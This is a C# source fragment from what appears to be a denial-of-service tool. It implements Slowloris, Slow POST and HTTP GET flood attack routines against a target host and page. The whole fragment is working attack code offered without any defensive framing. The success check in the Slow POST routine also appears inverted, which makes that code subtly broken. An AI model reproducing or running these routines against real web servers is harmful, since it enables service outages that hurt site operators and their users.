void SendSlowloris(CDenialSocket AttackSocket)
{
string strBuffer = string.Format(
"GET {0} HTTP/1.1\r\nHost: {1}\r\nUser-Agent: Mozilla 4.0\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: {2}\r\n",
this.m_strPage, this.m_strHost, CUtils.RandomInt(30, 90)
);
byte[] arr_bBuffer = UTF8Encoding.Default.GetBytes(strBuffer);
if (!AttackSocket.SendBuffer(arr_bBuffer))
{
return;
}
arr_bBuffer = UTF8Encoding.Default.GetBytes("X-a: b\r\n");
while (this.ShouldAttack())
{
if (!AttackSocket.SendBuffer(arr_bBuffer))
{
break;
}
Thread.Sleep(100);
}
}
void SendSlowpost(CDenialSocket AttackSocket)
{
string strRandomPOSTData = CUtils.RandomString(CUtils.RandomInt(25, 100));
string strBuffer = string.Format(
"POST {0} HTTP/1.1\r\nHost: {1}\r\nUser-Agent: Mozilla/5.0\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: {2}\r\nConnection: close\r\n\r\n",
this.m_strPage, this.m_strHost, strRandomPOSTData.Length
);
byte[] arr_bBuffer = UTF8Encoding.Default.GetBytes(strBuffer);
if (AttackSocket.SendBuffer(arr_bBuffer))
{
return;
}
foreach (char c in strRandomPOSTData.ToCharArray())
{
if (!AttackSocket.SendBuffer(new byte[] { (byte)c }))
{
break;
}
Thread.Sleep(CUtils.RandomInt(1000, 3000));
}
}
void SendHttpGet(CDenialSocket AttackSocket)
{
string strBuffer = string.Format(
"GET {0} HTTP/1.1\r\nHost: {1}\r\nUser-Agent: Mozilla 4.0\r\nConnection: close\r\n\r\n",
this.m_strPage, this.m_strHost
);
byte[] arr_bBuffer = UTF8Encoding.Default.GetBytes(strBuffer);
if (!AttackSocket.SendBuffer(arr_bBuffer))
{
return;
}
if (CUtils.RandomInt(1, 2) == 2)
{
return;
}
arr_bBuffer = new byte[8192];
int iRead = -1;
while (iRead != 0)
{
try
{
iRead = AttackSocket.ClientStream == null?AttackSocket.ClientSocket.Receive(arr_bBuffer) : AttackSocket.ClientStream.Read(arr_bBuffer, 0, arr_bBuffer.Length);
}
catch { iRead = 0; }
}
}